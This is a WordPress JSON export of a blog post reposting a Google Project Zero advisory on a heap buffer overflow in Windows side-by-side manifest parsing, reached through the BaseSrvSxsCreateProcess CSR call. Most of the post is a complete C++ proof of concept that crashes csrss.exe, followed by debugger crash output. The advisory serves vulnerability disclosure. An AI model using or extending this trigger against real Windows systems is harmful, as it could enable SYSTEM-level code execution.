{"id":29191,"date":"2022-08-12T19:58:51","date_gmt":"2022-08-12T15:58:51","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/168068\/GS20220812145103.txt"},"modified":"2022-08-13T11:53:24","modified_gmt":"2022-08-13T07:23:24","slug":"windows-sxscnodefactoryxmlparser_element_doc_assembly_assemblyidentity-heap-buffer-overflow","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/windows-sxscnodefactoryxmlparser_element_doc_assembly_assemblyidentity-heap-buffer-overflow\/","title":{"rendered":"Windows sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity Heap Buffer Overflow"},"content":{"rendered":"<p dir=\"ltr\">Windows: Heap buffer overflow in sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity<\/p>\n<p dir=\"ltr\">## SUMMARY<br \/>\nA heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.<\/p>\n<p dir=\"ltr\">## VULNERABILITY DETAILS<br \/>\nIn 2020, Project Zero reported a heap buffer overflow in application manifest parsing[1]. The `MaximumLength` field in one of the `UNICODE_STRING` parameters of the `BaseSrvSxsCreateActivationContextFromMessage` CSR routine wasn&#8217;t properly validated, and was later used by `XMLParser_Element_doc_assembly_assemblyIdentity` as the maximum size of a `memcpy` destination buffer. The fix added an extra `CsrValidateMessageBuffer` call to `BaseSrvSxsCreateActivationContextFromMessage`.<\/p>\n<p dir=\"ltr\">We&#8217;ve just discovered that `BaseSrvSxsCreateActivationContextFromMessage` is not the only CSR routine that can reach `XMLParser_Element_doc_assembly_assemblyIdentity`. An attacker can trigger the same buffer overflow via `BaseSrvSxsCreateProcess`.<\/p>\n<p dir=\"ltr\">1. https:\/\/googleprojectzero.github.io\/0days-in-the-wild\/0day-RCAs\/2020\/CVE-2020-1027.html<\/p>\n<p dir=\"ltr\">## VERSION<br \/>\nWindows 11 12H2 (OS Build 22000.593)<br \/>\nWindows 10 12H2 (OS Build 19044.1586)<\/p>\n<p dir=\"ltr\">## REPRODUCTION CASE<br \/>\n1) Enable page heap verification for csrss.exe:<br \/>\n&#8220;`<br \/>\ngflags \/p \/enable csrss.exe \/full<br \/>\n&#8220;`<\/p>\n<p dir=\"ltr\">2) Restart the machine.<\/p>\n<p dir=\"ltr\">3) Compile and run:<br \/>\n&#8220;`<br \/>\n#pragma comment(lib, &#8220;ntdll&#8221;)<\/p>\n<p dir=\"ltr\">#include &lt;windows.h&gt;<br \/>\n#include &lt;winternl.h&gt;<br \/>\n#include &lt;cstdint&gt;<br \/>\n#include &lt;cstdio&gt;<br \/>\n#include &lt;string&gt;<\/p>\n<p dir=\"ltr\">typedef struct _SECTION_IMAGE_INFORMATION {<br \/>\nPVOID EntryPoint;<br \/>\nULONG StackZeroBits;<br \/>\nULONG StackReserved;<br \/>\nULONG StackCommit;<br \/>\nULONG ImageSubsystem;<br \/>\nWORD SubSystemVersionLow;<br \/>\nWORD SubSystemVersionHigh;<br \/>\nULONG Unknown1;<br \/>\nULONG ImageCharacteristics;<br \/>\nULONG ImageMachineType;<br \/>\nULONG Unknown2[3];<br \/>\n} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;<\/p>\n<p dir=\"ltr\">typedef struct _RTL_USER_PROCESS_INFORMATION {<br \/>\nULONG Size;<br \/>\nHANDLE ProcessHandle;<br \/>\nHANDLE ThreadHandle;<br \/>\nCLIENT_ID ClientId;<br \/>\nSECTION_IMAGE_INFORMATION ImageInformation;<br \/>\nBYTE Unknown1[128];<br \/>\n} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;<\/p>\n<p dir=\"ltr\">NTSTATUS(NTAPI* RtlCreateProcessParameters)<br \/>\n(PRTL_USER_PROCESS_PARAMETERS*,<br \/>\nPUNICODE_STRING,<br \/>\nPUNICODE_STRING,<br \/>\nPUNICODE_STRING,<br \/>\nPUNICODE_STRING,<br \/>\nPVOID,<br \/>\nPUNICODE_STRING,<br \/>\nPUNICODE_STRING,<br \/>\nPUNICODE_STRING,<br \/>\nPUNICODE_STRING);<br \/>\nNTSTATUS(NTAPI* RtlCreateUserProcess)<br \/>\n(PUNICODE_STRING,<br \/>\nULONG,<br \/>\nPRTL_USER_PROCESS_PARAMETERS,<br \/>\nPSECURITY_DESCRIPTOR,<br \/>\nPSECURITY_DESCRIPTOR,<br \/>\nHANDLE,<br \/>\nBOOLEAN,<br \/>\nHANDLE,<br \/>\nHANDLE,<br \/>\nPRTL_USER_PROCESS_INFORMATION);<\/p>\n<p dir=\"ltr\">PVOID(NTAPI* CsrAllocateCaptureBuffer)(ULONG, ULONG);<br \/>\nVOID(NTAPI* CsrFreeCaptureBuffer)(PVOID);<br \/>\nNTSTATUS(NTAPI* CsrClientCallServer)(PVOID, PVOID, ULONG, ULONG);<br \/>\nNTSTATUS(NTAPI* CsrCaptureMessageString)(LPVOID, PCSTR, ULONG, ULONG, PSTR);<\/p>\n<p dir=\"ltr\">void CaptureString(LPVOID capture_buffer,<br \/>\nuint8_t* msg_field,<br \/>\nPCWSTR string,<br \/>\nsize_t length = 0) {<br \/>\nif (length == 0)<br \/>\nlength = lstrlenW(string);<\/p>\n<p dir=\"ltr\">CsrCaptureMessageString(capture_buffer, (PCSTR)string, length * 2,<br \/>\nlength * 2 + 2, (PSTR)msg_field);<br \/>\n}<\/p>\n<p dir=\"ltr\">int main() {<br \/>\nHMODULE ntdll = LoadLibrary(L&#8221;ntdll&#8221;);<\/p>\n<p dir=\"ltr\">#define INIT_PROC(name) \\<br \/>\nname = reinterpret_cast&lt;decltype(name)&gt;(GetProcAddress(ntdll, #name));<\/p>\n<p dir=\"ltr\">INIT_PROC(RtlCreateProcessParameters);<br \/>\nINIT_PROC(RtlCreateUserProcess);<\/p>\n<p dir=\"ltr\">INIT_PROC(CsrAllocateCaptureBuffer);<br \/>\nINIT_PROC(CsrFreeCaptureBuffer);<br \/>\nINIT_PROC(CsrClientCallServer);<br \/>\nINIT_PROC(CsrCaptureMessageString);<\/p>\n<p dir=\"ltr\">UNICODE_STRING image_path;<br \/>\nPRTL_USER_PROCESS_PARAMETERS proc_params;<br \/>\nRTL_USER_PROCESS_INFORMATION proc_info = {0};<\/p>\n<p dir=\"ltr\">RtlInitUnicodeString(&amp;image_path, L&#8221;\\\\SystemRoot\\\\notepad.exe&#8221;);<br \/>\nRtlCreateProcessParameters(&amp;proc_params, &amp;image_path, NULL, NULL, NULL, NULL,<br \/>\nNULL, NULL, NULL, NULL);<br \/>\nRtlCreateUserProcess(&amp;image_path, OBJ_CASE_INSENSITIVE, proc_params, NULL,<br \/>\nNULL, NULL, FALSE, NULL, NULL, &amp;proc_info);<\/p>\n<p dir=\"ltr\">const size_t HEADER_SIZE = 0x40;<br \/>\nuint8_t msg[HEADER_SIZE + 0x1f8] = {0};<\/p>\n<p dir=\"ltr\">#define FIELD(n) msg + HEADER_SIZE + 8 * n<br \/>\n#define SET_FIELD(n, value) *(uint64_t*)(FIELD(n)) = (uint64_t)value;<\/p>\n<p dir=\"ltr\">SET_FIELD(2, proc_info.ClientId.UniqueProcess);<br \/>\nSET_FIELD(3, proc_info.ClientId.UniqueThread);<\/p>\n<p dir=\"ltr\">SET_FIELD(4, -1);<br \/>\nSET_FIELD(7, 1);<br \/>\nSET_FIELD(8, 0x20000);<\/p>\n<p dir=\"ltr\">std::string manifest =<br \/>\n&#8220;&lt;assembly xmlns=&#8217;urn:schemas-microsoft-com:asm.v1&#8242; &#8221;<br \/>\n&#8220;manifestVersion=&#8217;1.0&#8242;&gt;&#8221;<br \/>\n&#8220;&lt;assemblyIdentity name=&#8217;@&#8217; version=&#8217;1.0.0.0&#8217;\/&gt;&#8221;<br \/>\n&#8220;&lt;\/assembly&gt;&#8221;;<br \/>\nmanifest.replace(manifest.find(&#8216;@&#8217;), 1, 0x4000, &#8216;A&#8217;);<\/p>\n<p dir=\"ltr\">SET_FIELD(13, manifest.c_str());<br \/>\nSET_FIELD(14, manifest.size());<\/p>\n<p dir=\"ltr\">PVOID capture_buffer = CsrAllocateCaptureBuffer(6, 0x200);<\/p>\n<p dir=\"ltr\">CaptureString(capture_buffer, FIELD(22), L&#8221;C:\\\\Windows\\\\&#8221;);<br \/>\nCaptureString(capture_buffer, FIELD(24), L&#8221;\\x00\\x00&#8243;, 2);<br \/>\nCaptureString(capture_buffer, FIELD(28), L&#8221;A&#8221;);<br \/>\nSET_FIELD(28, 0xff000002);<\/p>\n<p dir=\"ltr\">CsrClientCallServer(msg, capture_buffer, 0x1001001d,<br \/>\nsizeof(msg) &#8211; HEADER_SIZE);<br \/>\n}<br \/>\n&#8220;`<\/p>\n<p dir=\"ltr\">The crash should look like to the following:<br \/>\n&#8220;`<br \/>\nCONTEXT: 0000007c4afbcfc0 &#8212; (.cxr 0x7c4afbcfc0)<br \/>\nrax=0000020e6515ce00 rbx=0000000000004000 rcx=0000020e6515d010<br \/>\nrdx=fffffffffbe741fa rsi=0000020e652c48c0 rdi=0000000000000001<br \/>\nrip=00007ff825a53c53 rsp=0000007c4afbdd38 rbp=0000007c4afbde80<br \/>\nr8=0000000000000032 r9=00000000000001f7 r10=00007ff822e6b558<br \/>\nr11=0000020e60fd8ffc r12=0000020e66d1cf80 r13=0000000000000001<br \/>\nr14=0000000000000000 r15=0000000000000005<br \/>\niopl=0 nv up ei pl nz na pe nc<br \/>\ncs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202<br \/>\nntdll!memcpy+0x113:<br \/>\n0033:00007ff8`25a53c53 0f2941f0 movaps xmmword ptr [rcx-10h],xmm0 ds:002b:0000020e`6515d000=????????????????????????????????<br \/>\nResetting default scope<\/p>\n<p dir=\"ltr\">WRITE_ADDRESS: 0000020e6515d000<\/p>\n<p dir=\"ltr\">EXCEPTION_RECORD: 0000007c4afbd4b0 &#8212; (.exr 0x7c4afbd4b0)<br \/>\nExceptionAddress: 00007ff825a53c53 (ntdll!memcpy+0x0000000000000113)<br \/>\nExceptionCode: c0000005 (Access violation)<br \/>\nExceptionFlags: 00000000<br \/>\nNumberParameters: 2<br \/>\nParameter[0]: 0000000000000001<br \/>\nParameter[1]: 0000020e6515d000<br \/>\nAttempt to write to address 0000020e6515d000<\/p>\n<p dir=\"ltr\">STACK_TEXT:<br \/>\n0000007c`4afbdd38 00007ff8`22df5a41 : 0000020e`652c48c0 00000000`00000001 00000000`00000001 00000000`00000001 : ntdll!memcpy+0x113<br \/>\n0000007c`4afbdd40 00007ff8`22e07b94 : 00007ff8`00000000 00000000`000000a8 0000020e`652c48c0 0000020e`652c48c0 : sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity+0x4c1<br \/>\n0000007c`4afbe3c0 00007ff8`22e1f406 : 0000020e`652e7f20 0000020e`652e7f20 00000000`00000000 00000000`00000000 : sxs!CNodeFactory::CreateNode+0xd34<br \/>\n0000007c`4afbe7d0 00007ff8`22df8a33 : 0000020e`00000000 0000020e`652a8cc8 00000000`00000000 0000020e`65166e20 : sxs!XMLParser::Run+0x8d6<br \/>\n0000007c`4afbe8f0 00007ff8`22df7468 : 0000020e`00000000 0000020e`6527ac90 00000000`00000000 0000020e`6527ac90 : sxs!SxspIncorporateAssembly+0x513<br \/>\n0000007c`4afbeab0 00007ff8`22df7cf6 : 00000000`00000000 00000000`00000000 0000020e`6527ac90 0000020e`65167720 : sxs!SxspIncorporateAssembly+0x104<br \/>\n0000007c`4afbeb60 00007ff8`22df3769 : 0000007c`00000000 0000007c`4afbefa0 00000000`00000000 0000020e`65166e20 : sxs!SxspCloseManifestGraph+0xbe<br \/>\n0000007c`4afbec00 00007ff8`22fb3eed : 00000000`00000000 00000000`00000000 00000000`00000000 0000007c`4afbf3a0 : sxs!SxsGenerateActivationContext+0x339<br \/>\n0000007c`4afbed60 00007ff8`22fb2405 : 0000007c`4afbf1f0 000004f7`0000000b 00000000`00000000 00000000`00000001 : sxssrv!BaseSrvSxsCreateActivationContextFromStructEx+0x6ed<br \/>\n0000007c`4afbf1a0 00007ff8`22fb1e91 : 0000020e`56e00000 00000000`01080002 00000000`00000264 00000000`00000270 : sxssrv!InternalSxsCreateProcess+0x545<br \/>\n0000007c`4afbf680 00007ff8`230133c3 : 00000000`00000000 0000007c`4afbf789 00000000`00000000 00000000`00000000 : sxssrv!BaseSrvSxsCreateProcess+0x71<br \/>\n0000007c`4afbf6c0 00007ff8`23036490 : 0000020e`ffffffff 0000007c`4afbf848 0000020e`00000000 0000020e`00000001 : basesrv!BaseSrvCreateProcess2+0x1f3<br \/>\n0000007c`4afbf7f0 00007ff8`25a0265f : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : CSRSRV!CsrApiRequestThread+0x4d0<br \/>\n0000007c`4afbfe90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2f<br \/>\n&#8220;`<\/p>\n<p dir=\"ltr\">## CREDIT INFORMATION<br \/>\nSergei Glazunov of Google Project Zero<\/p>\n<p dir=\"ltr\">Related CVE Numbers: CVE-2020-1027,CVE-2022-22026,CVE-2022-22026.<\/p>\n<p dir=\"ltr\">Found by: glazunov@google.com<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Windows: Heap buffer overflow in sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity ## SUMMARY A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges. ## VULNERABILITY DETAILS In 2020, Project Zero reported a heap buffer overflow in application manifest parsing[1]. The `MaximumLength` field in one of &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-29191","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/29191","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=29191"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/29191\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=29191"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=29191"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=29191"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}